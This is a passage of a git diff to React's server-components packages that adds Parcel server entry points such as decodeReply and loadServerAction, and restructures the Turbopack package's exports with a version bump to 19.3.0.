+    reportGlobalError(
+      response,
+      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
+      err,
+    );
+  });
+  return getRoot(response);
+}
+
+export function decodeReply<T>(
+  body: string | FormData,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    serverManifest,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+export function decodeReplyFromAsyncIterable<T>(
+  iterable: AsyncIterable<[string, string | File]>,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const iterator: AsyncIterator<[string, string | File]> =
+    iterable[ASYNC_ITERATOR]();
+
+  const response = createResponse(
+    serverManifest,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+
+  function progress(
+    entry:
+      | {done: false, +value: [string, string | File], ...}
+      | {done: true, +value: void, ...},
+  ) {
+    if (entry.done) {
+      close(response);
+    } else {
+      const [name, value] = entry.value;
+      if (typeof value === 'string') {
+        resolveField(response, name, value);
+      } else {
+        resolveFile(response, name, value);
+      }
+      iterator.next().then(progress, error);
+    }
+  }
+  function error(reason: Error) {
+    reportGlobalError(response, reason);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+
+  iterator.next().then(progress, error);
+
+  return getRoot(response);
+}
+
+export function decodeAction<T>(body: FormData): Promise<() => T> | null {
+  return decodeActionImpl(body, serverManifest);
+}
+
+export function decodeFormState<S>(
+  actionResult: S,
+  body: FormData,
+): Promise<ReactFormState<S, ServerReferenceId> | null> {
+  return decodeFormStateImpl(actionResult, body, serverManifest);
+}
+
+export function loadServerAction<F: (...any[]) => any>(id: string): Promise<F> {
+  const reference = resolveServerReference<any>(serverManifest, id);
+  return Promise.resolve(reference)
+    .then(() => preloadModule(reference))
+    .then(() => {
+      const fn = requireModule(reference);
+      if (typeof fn !== 'function') {
+        throw new Error('Server actions must be functions');
+      }
+      return fn;
+    });
+}
diff --git a/packages/react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler.js b/packages/react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler.js
new file mode 100644
index 000000000000..ebcfec1badcf
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler.js
@@ -0,0 +1,75 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
+import type {ImportMetadata} from '../shared/ReactFlightImportMetadata';
+
+import type {
+  ClientReference,
+  ServerReference,
+} from '../ReactFlightParcelReferences';
+
+export type {ClientReference, ServerReference};
+
+export type ClientManifest = null;
+export type ServerReferenceId = string;
+export type ClientReferenceMetadata = ImportMetadata;
+export type ClientReferenceKey = string;
+
+export {
+  isClientReference,
+  isServerReference,
+} from '../ReactFlightParcelReferences';
+
+export function getClientReferenceKey(
+  reference: ClientReference<any>,
+): ClientReferenceKey {
+  return reference.$$id + '#' + reference.$$name;
+}
+
+export function resolveClientReferenceMetadata<T>(
+  config: ClientManifest,
+  clientReference: ClientReference<T>,
+): ClientReferenceMetadata {
+  if (clientReference.$$importMap) {
+    return [
+      clientReference.$$id,
+      clientReference.$$name,
+      clientReference.$$bundles,
+      clientReference.$$importMap,
+    ];
+  }
+
+  return [
+    clientReference.$$id,
+    clientReference.$$name,
+    clientReference.$$bundles,
+  ];
+}
+
+export function getServerReferenceId<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): ServerReferenceId {
+  return serverReference.$$id;
+}
+
+export function getServerReferenceBoundArguments<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): null | Array<ReactClientValue> {
+  return serverReference.$$bound;
+}
+
+export function getServerReferenceLocation<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): void | Error {
+  return serverReference.$$location;
+}
diff --git a/packages/react-server-dom-parcel/src/server/react-flight-dom-server.browser.js b/packages/react-server-dom-parcel/src/server/react-flight-dom-server.browser.js
new file mode 100644
index 000000000000..9b2a047c324f
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/server/react-flight-dom-server.browser.js
@@ -0,0 +1,21 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  createClientReference,
+  registerServerReference,
+  createTemporaryReferenceSet,
+  registerServerActions,
+  loadServerAction,
+} from './ReactFlightDOMServerBrowser';
diff --git a/packages/react-server-dom-parcel/src/server/react-flight-dom-server.edge.js b/packages/react-server-dom-parcel/src/server/react-flight-dom-server.edge.js
new file mode 100644
index 000000000000..7f99c56f7cc7
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/server/react-flight-dom-server.edge.js
@@ -0,0 +1,22 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  createClientReference,
+  registerServerReference,
+  createTemporaryReferenceSet,
+  registerServerActions,
+  loadServerAction,
+} from './ReactFlightDOMServerEdge';
diff --git a/packages/react-server-dom-parcel/src/server/react-flight-dom-server.node.js b/packages/react-server-dom-parcel/src/server/react-flight-dom-server.node.js
new file mode 100644
index 000000000000..f18bec13536b
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/server/react-flight-dom-server.node.js
@@ -0,0 +1,25 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  renderToPipeableStream,
+  prerender,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  createClientReference,
+  registerServerReference,
+  createTemporaryReferenceSet,
+  registerServerActions,
+  loadServerAction,
+} from './ReactFlightDOMServerNode';
diff --git a/packages/react-server-dom-parcel/src/shared/ReactFlightImportMetadata.js b/packages/react-server-dom-parcel/src/shared/ReactFlightImportMetadata.js
new file mode 100644
index 000000000000..d91f5d825c22
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/shared/ReactFlightImportMetadata.js
@@ -0,0 +1,25 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is the parsed shape of the wire format which is why it is
+// condensed to only the essentialy information
+export type ImportMetadata = [
+  // eslint does not understand Flow tuple syntax.
+  /* eslint-disable */
+  id: string,
+  name: string,
+  bundles: Array<string>,
+  importMap?: {[string]: string},
+  /* eslint-enable */
+];
+
+export const ID = 0;
+export const NAME = 1;
+export const BUNDLES = 2;
+export const IMPORT_MAP = 3;
diff --git a/packages/react-server-dom-parcel/static.browser.js b/packages/react-server-dom-parcel/static.browser.js
new file mode 100644
index 000000000000..258978916320
--- /dev/null
+++ b/packages/react-server-dom-parcel/static.browser.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {prerender} from './src/server/react-flight-dom-server.browser';
diff --git a/packages/react-server-dom-parcel/static.edge.js b/packages/react-server-dom-parcel/static.edge.js
new file mode 100644
index 000000000000..a39d54c73f57
--- /dev/null
+++ b/packages/react-server-dom-parcel/static.edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {prerender} from './src/server/react-flight-dom-server.edge';
diff --git a/packages/react-server-dom-parcel/static.js b/packages/react-server-dom-parcel/static.js
new file mode 100644
index 000000000000..83d8b8a017ff
--- /dev/null
+++ b/packages/react-server-dom-parcel/static.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error(
+  'The React Server cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.',
+);
diff --git a/packages/react-server-dom-parcel/static.node.js b/packages/react-server-dom-parcel/static.node.js
new file mode 100644
index 000000000000..78e70a1cf4c2
--- /dev/null
+++ b/packages/react-server-dom-parcel/static.node.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  prerender,
+  prerenderToNodeStream,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-turbopack/client.browser.js b/packages/react-server-dom-turbopack/client.browser.js
index 7d26c2771e50..1be0bc04a7ec 100644
--- a/packages/react-server-dom-turbopack/client.browser.js
+++ b/packages/react-server-dom-turbopack/client.browser.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientBrowser';
+export * from './src/client/react-flight-dom-client.browser';
diff --git a/packages/react-server-dom-turbopack/client.edge.js b/packages/react-server-dom-turbopack/client.edge.js
index fadceeaf8443..ab6a110c112e 100644
--- a/packages/react-server-dom-turbopack/client.edge.js
+++ b/packages/react-server-dom-turbopack/client.edge.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientEdge';
+export * from './src/client/react-flight-dom-client.edge';
diff --git a/packages/react-server-dom-turbopack/client.node.js b/packages/react-server-dom-turbopack/client.node.js
index 4f435353a20f..c3ec7662d6e9 100644
--- a/packages/react-server-dom-turbopack/client.node.js
+++ b/packages/react-server-dom-turbopack/client.node.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientNode';
+export * from './src/client/react-flight-dom-client.node';
diff --git a/packages/react-server-dom-turbopack/client.node.unbundled.js b/packages/react-server-dom-turbopack/client.node.unbundled.js
deleted file mode 100644
index 4f435353a20f..000000000000
--- a/packages/react-server-dom-turbopack/client.node.unbundled.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export * from './src/ReactFlightDOMClientNode';
diff --git a/packages/react-server-dom-turbopack/esm/react-server-dom-turbopack-node-loader.production.js b/packages/react-server-dom-turbopack/esm/react-server-dom-turbopack-node-loader.production.js
deleted file mode 100644
index ef6486656caf..000000000000
--- a/packages/react-server-dom-turbopack/esm/react-server-dom-turbopack-node-loader.production.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export * from '../src/ReactFlightTurbopackNodeLoader.js';
diff --git a/packages/react-server-dom-turbopack/node-register.js b/packages/react-server-dom-turbopack/node-register.js
deleted file mode 100644
index 0d399f384273..000000000000
--- a/packages/react-server-dom-turbopack/node-register.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-module.exports = require('./src/ReactFlightTurbopackNodeRegister');
diff --git a/packages/react-server-dom-turbopack/npm/client.node.unbundled.js b/packages/react-server-dom-turbopack/npm/client.node.unbundled.js
deleted file mode 100644
index 04eb5b1972be..000000000000
--- a/packages/react-server-dom-turbopack/npm/client.node.unbundled.js
+++ /dev/null
@@ -1,7 +0,0 @@
-'use strict';
-
-if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-turbopack-client.node.unbundled.production.js');
-} else {
-  module.exports = require('./cjs/react-server-dom-turbopack-client.node.unbundled.development.js');
-}
diff --git a/packages/react-server-dom-turbopack/npm/node-register.js b/packages/react-server-dom-turbopack/npm/node-register.js
deleted file mode 100644
index 7506743f033f..000000000000
--- a/packages/react-server-dom-turbopack/npm/node-register.js
+++ /dev/null
@@ -1,3 +0,0 @@
-'use strict';
-
-module.exports = require('./cjs/react-server-dom-turbopack-node-register.js');
diff --git a/packages/react-server-dom-turbopack/npm/server.browser.js b/packages/react-server-dom-turbopack/npm/server.browser.js
index 1d0364c5d392..ec8d6b013e0b 100644
--- a/packages/react-server-dom-turbopack/npm/server.browser.js
+++ b/packages/react-server-dom-turbopack/npm/server.browser.js
@@ -1,7 +1,17 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.browser.production.js');
+  s = require('./cjs/react-server-dom-turbopack-server.browser.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.browser.development.js');
+  s = require('./cjs/react-server-dom-turbopack-server.browser.development.js');
 }
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-turbopack/npm/server.edge.js b/packages/react-server-dom-turbopack/npm/server.edge.js
index c893cc3cdfa6..c832080079dd 100644
--- a/packages/react-server-dom-turbopack/npm/server.edge.js
+++ b/packages/react-server-dom-turbopack/npm/server.edge.js
@@ -1,7 +1,18 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.edge.production.js');
+  s = require('./cjs/react-server-dom-turbopack-server.edge.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.edge.development.js');
+  s = require('./cjs/react-server-dom-turbopack-server.edge.development.js');
 }
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-turbopack/npm/server.node.js b/packages/react-server-dom-turbopack/npm/server.node.js
index ac6128983dc6..950763954048 100644
--- a/packages/react-server-dom-turbopack/npm/server.node.js
+++ b/packages/react-server-dom-turbopack/npm/server.node.js
@@ -1,7 +1,20 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.node.production.js');
+  s = require('./cjs/react-server-dom-turbopack-server.node.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.node.development.js');
+  s = require('./cjs/react-server-dom-turbopack-server.node.development.js');
 }
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.renderToPipeableStream = s.renderToPipeableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createClientModuleProxy = s.createClientModuleProxy;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-turbopack/npm/server.node.unbundled.js b/packages/react-server-dom-turbopack/npm/server.node.unbundled.js
deleted file mode 100644
index 86f9dcdefb1d..000000000000
--- a/packages/react-server-dom-turbopack/npm/server.node.unbundled.js
+++ /dev/null
@@ -1,7 +0,0 @@
-'use strict';
-
-if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.node.unbundled.production.js');
-} else {
-  module.exports = require('./cjs/react-server-dom-turbopack-server.node.unbundled.development.js');
-}
diff --git a/packages/react-server-dom-turbopack/npm/static.browser.js b/packages/react-server-dom-turbopack/npm/static.browser.js
new file mode 100644
index 000000000000..d6acca4d6ec5
--- /dev/null
+++ b/packages/react-server-dom-turbopack/npm/static.browser.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-turbopack-server.browser.production.js');
+} else {
+  s = require('./cjs/react-server-dom-turbopack-server.browser.development.js');
+}
+
+exports.prerender = s.prerender;
diff --git a/packages/react-server-dom-turbopack/npm/static.edge.js b/packages/react-server-dom-turbopack/npm/static.edge.js
new file mode 100644
index 000000000000..acd8ad68d74e
--- /dev/null
+++ b/packages/react-server-dom-turbopack/npm/static.edge.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-turbopack-server.edge.production.js');
+} else {
+  s = require('./cjs/react-server-dom-turbopack-server.edge.development.js');
+}
+
+exports.prerender = s.prerender;
diff --git a/packages/react-server-dom-turbopack/npm/static.js b/packages/react-server-dom-turbopack/npm/static.js
new file mode 100644
index 000000000000..13a632e64117
--- /dev/null
+++ b/packages/react-server-dom-turbopack/npm/static.js
@@ -0,0 +1,6 @@
+'use strict';
+
+throw new Error(
+  'The React Server Writer cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.'
+);
diff --git a/packages/react-server-dom-turbopack/npm/static.node.js b/packages/react-server-dom-turbopack/npm/static.node.js
new file mode 100644
index 000000000000..f082e275e012
--- /dev/null
+++ b/packages/react-server-dom-turbopack/npm/static.node.js
@@ -0,0 +1,11 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-turbopack-server.node.production.js');
+} else {
+  s = require('./cjs/react-server-dom-turbopack-server.node.development.js');
+}
+
+exports.prerender = s.prerender;
+exports.prerenderToNodeStream = s.prerenderToNodeStream;
diff --git a/packages/react-server-dom-turbopack/package.json b/packages/react-server-dom-turbopack/package.json
index 93e694b3a3e1..e3adedd68db1 100644
--- a/packages/react-server-dom-turbopack/package.json
+++ b/packages/react-server-dom-turbopack/package.json
@@ -1,7 +1,7 @@
 {
   "name": "react-server-dom-turbopack",
   "description": "React Server Components bindings for DOM using Turbopack. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "keywords": [
     "react"
   ],
@@ -16,15 +16,15 @@
     "client.browser.js",
     "client.edge.js",
     "client.node.js",
-    "client.node.unbundled.js",
     "server.js",
     "server.browser.js",
     "server.edge.js",
     "server.node.js",
-    "server.node.unbundled.js",
-    "node-register.js",
-    "cjs/",
-    "esm/"
+    "static.js",
+    "static.browser.js",
+    "static.edge.js",
+    "static.node.js",
+    "cjs/"
   ],
   "exports": {
     ".": "./index.js",
@@ -32,11 +32,7 @@
       "workerd": "./client.edge.js",
       "deno": "./client.edge.js",
       "worker": "./client.edge.js",
-      "node": {
-        "turbopack": "./client.node.js",
-        "webpack": "./client.node.js",
-        "default": "./client.node.unbundled.js"
-      },
+      "node": "./client.node.js",
       "edge-light": "./client.edge.js",
       "browser": "./client.browser.js",
       "default": "./client.browser.js"
@@ -44,16 +40,11 @@
     "./client.browser": "./client.browser.js",
     "./client.edge": "./client.edge.js",
     "./client.node": "./client.node.js",
-    "./client.node.unbundled": "./client.node.unbundled.js",
     "./server": {
       "react-server": {
         "workerd": "./server.edge.js",
         "deno": "./server.browser.js",
-        "node": {
-          "turbopack": "./server.node.js",
-          "webpack": "./server.node.js",
-          "default": "./server.node.unbundled.js"
-        },
+        "node": "./server.node.js",
         "edge-light": "./server.edge.js",
         "browser": "./server.browser.js"
       },
@@ -62,24 +53,34 @@
     "./server.browser": "./server.browser.js",
     "./server.edge": "./server.edge.js",
     "./server.node": "./server.node.js",
-    "./server.node.unbundled": "./server.node.unbundled.js",
-    "./node-loader": "./esm/react-server-dom-turbopack-node-loader.production.js",
-    "./node-register": "./node-register.js",
+    "./static": {
+      "react-server": {
+        "workerd": "./static.edge.js",
+        "deno": "./static.browser.js",
+        "node": "./static.node.js",
+        "edge-light": "./static.edge.js",
+        "browser": "./static.browser.js"
+      },
+      "default": "./static.js"
+    },
+    "./static.browser": "./static.browser.js",
+    "./static.edge": "./static.edge.js",
+    "./static.node": "./static.node.js",
     "./src/*": "./src/*.js",
     "./package.json": "./package.json"
   },
   "main": "index.js",
   "repository": {
-    "type" : "git",
-    "url" : "https://github.com/facebook/react.git",
+    "type": "git",
+    "url": "https://github.com/facebook/react.git",
     "directory": "packages/react-server-dom-turbopack"
   },
   "engines": {
     "node": ">=0.10.0"
   },
   "peerDependencies": {
-    "react": "^19.0.0",
-    "react-dom": "^19.0.0"
+    "react": "^19.3.0",
+    "react-dom": "^19.3.0"
   },
   "dependencies": {
     "acorn-loose": "^8.3.0",
diff --git a/packages/react-server-dom-turbopack/server.browser.js b/packages/react-server-dom-turbopack/server.browser.js
index 41a9fb5c4496..46f5b906104b 100644
--- a/packages/react-server-dom-turbopack/server.browser.js
+++ b/packages/react-server-dom-turbopack/server.browser.js
@@ -7,4 +7,13 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMServerBrowser';
+export {
+  renderToReadableStream,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.browser';
diff --git a/packages/react-server-dom-turbopack/server.edge.js b/packages/react-server-dom-turbopack/server.edge.js
index 98f975cb4706..8f0347cd7b5a 100644
--- a/packages/react-server-dom-turbopack/server.edge.js
+++ b/packages/react-server-dom-turbopack/server.edge.js
@@ -7,4 +7,14 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMServerEdge';
+export {
+  renderToReadableStream,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.edge';
diff --git a/packages/react-server-dom-turbopack/server.node.js b/packages/react-server-dom-turbopack/server.node.js
index 7726b9bb929d..bd00ba7275c1 100644
--- a/packages/react-server-dom-turbopack/server.node.js
+++ b/packages/react-server-dom-turbopack/server.node.js
@@ -7,4 +7,16 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMServerNode';
+export {
+  renderToPipeableStream,
+  renderToReadableStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-turbopack/server.node.unbundled.js b/packages/react-server-dom-turbopack/server.node.unbundled.js
deleted file mode 100644
index 7726b9bb929d..000000000000
--- a/packages/react-server-dom-turbopack/server.node.unbundled.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export * from './src/ReactFlightDOMServerNode';
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerNode.js b/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerNode.js
deleted file mode 100644
index b2bf9b8ae0b5..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerNode.js
+++ /dev/null
@@ -1,162 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {
-  Thenable,
-  FulfilledThenable,
-  RejectedThenable,
-} from 'shared/ReactTypes';
-
-import type {ImportMetadata} from './shared/ReactFlightImportMetadata';
-import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
-
-import {
-  ID,
-  CHUNKS,
-  NAME,
-  isAsyncImport,
-} from './shared/ReactFlightImportMetadata';
-import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';
-
-export type SSRModuleMap = {
-  [clientId: string]: {
-    [clientExportName: string]: ClientReference<any>,
-  },
-};
-
-export type ServerManifest = void;
-
-export type ServerReferenceId = string;
-
-export opaque type ClientReferenceMetadata = ImportMetadata;
-
-// eslint-disable-next-line no-unused-vars
-export opaque type ClientReference<T> = {
-  specifier: string,
-  name: string,
-  async?: boolean,
-};
-
-// The reason this function needs to defined here in this file instead of just
-// being exported directly from the WebpackDestination... file is because the
-// ClientReferenceMetadata is opaque and we can't unwrap it there.
-// This should get inlined and we could also just implement an unwrapping function
-// though that risks it getting used in places it shouldn't be. This is unfortunate
-// but currently it seems to be the best option we have.
-export function prepareDestinationForModule(
-  moduleLoading: ModuleLoading,
-  nonce: ?string,
-  metadata: ClientReferenceMetadata,
-) {
-  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);
-}
-
-export function resolveClientReference<T>(
-  bundlerConfig: SSRModuleMap,
-  metadata: ClientReferenceMetadata,
-): ClientReference<T> {
-  const moduleExports = bundlerConfig[metadata[ID]];
-  let resolvedModuleData = moduleExports[metadata[NAME]];
-  let name;
-  if (resolvedModuleData) {
-    // The potentially aliased name.
-    name = resolvedModuleData.name;
-  } else {
-    // If we don't have this specific name, we might have the full module.
-    resolvedModuleData = moduleExports['*'];
-    if (!resolvedModuleData) {
-      throw new Error(
-        'Could not find the module "' +
-          metadata[ID] +
-          '" in the React SSR Manifest. ' +
-          'This is probably a bug in the React Server Components bundler.',
-      );
-    }
-    name = metadata[NAME];
-  }
-  return {
-    specifier: resolvedModuleData.specifier,
-    name: name,
-    async: isAsyncImport(metadata),
-  };
-}
-
-export function resolveServerReference<T>(
-  bundlerConfig: ServerManifest,
-  id: ServerReferenceId,
-): ClientReference<T> {
-  const idx = id.lastIndexOf('#');
-  const specifier = id.slice(0, idx);
-  const name = id.slice(idx + 1);
-  return {specifier, name};
-}
-
-const asyncModuleCache: Map<string, Thenable<any>> = new Map();
-
-export function preloadModule<T>(
-  metadata: ClientReference<T>,
-): null | Thenable<any> {
-  const existingPromise = asyncModuleCache.get(metadata.specifier);
-  if (existingPromise) {
-    if (existingPromise.status === 'fulfilled') {
-      return null;
-    }
-    return existingPromise;
-  } else {
-    // $FlowFixMe[unsupported-syntax]
-    let modulePromise: Promise<T> = import(metadata.specifier);
-    if (metadata.async) {
-      // If the module is async, it must have been a CJS module.
-      // CJS modules are accessed through the default export in
-      // Node.js so we have to get the default export to get the
-      // full module exports.
-      modulePromise = modulePromise.then(function (value) {
-        return (value: any).default;
-      });
-    }
-    modulePromise.then(
-      value => {
-        const fulfilledThenable: FulfilledThenable<mixed> =
-          (modulePromise: any);
-        fulfilledThenable.status = 'fulfilled';
-        fulfilledThenable.value = value;
-      },
-      reason => {
-        const rejectedThenable: RejectedThenable<mixed> = (modulePromise: any);
-        rejectedThenable.status = 'rejected';
-        rejectedThenable.reason = reason;
-      },
-    );
-    asyncModuleCache.set(metadata.specifier, modulePromise);
-    return modulePromise;
-  }
-}
-
-export function requireModule<T>(metadata: ClientReference<T>): T {
-  let moduleExports;
-  // We assume that preloadModule has been called before, which
-  // should have added something to the module cache.
-  const promise: any = asyncModuleCache.get(metadata.specifier);
-  if (promise.status === 'fulfilled') {
-    moduleExports = promise.value;
-  } else {
-    throw promise.reason;
-  }
-  if (metadata.name === '*') {
-    // This is a placeholder value that represents that the caller imported this
-    // as a CommonJS module as is.
-    return moduleExports;
-  }
-  if (metadata.name === '') {
-    // This is a placeholder value that represents that the caller accessed the
-    // default property of this if it was an ESM interop module.
-    return moduleExports.default;
-  }
-  return moduleExports[metadata.name];
-}
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack.js b/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack.js
deleted file mode 100644
index b20ad69a408d..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack.js
+++ /dev/null
@@ -1,232 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {
-  Thenable,
-  FulfilledThenable,
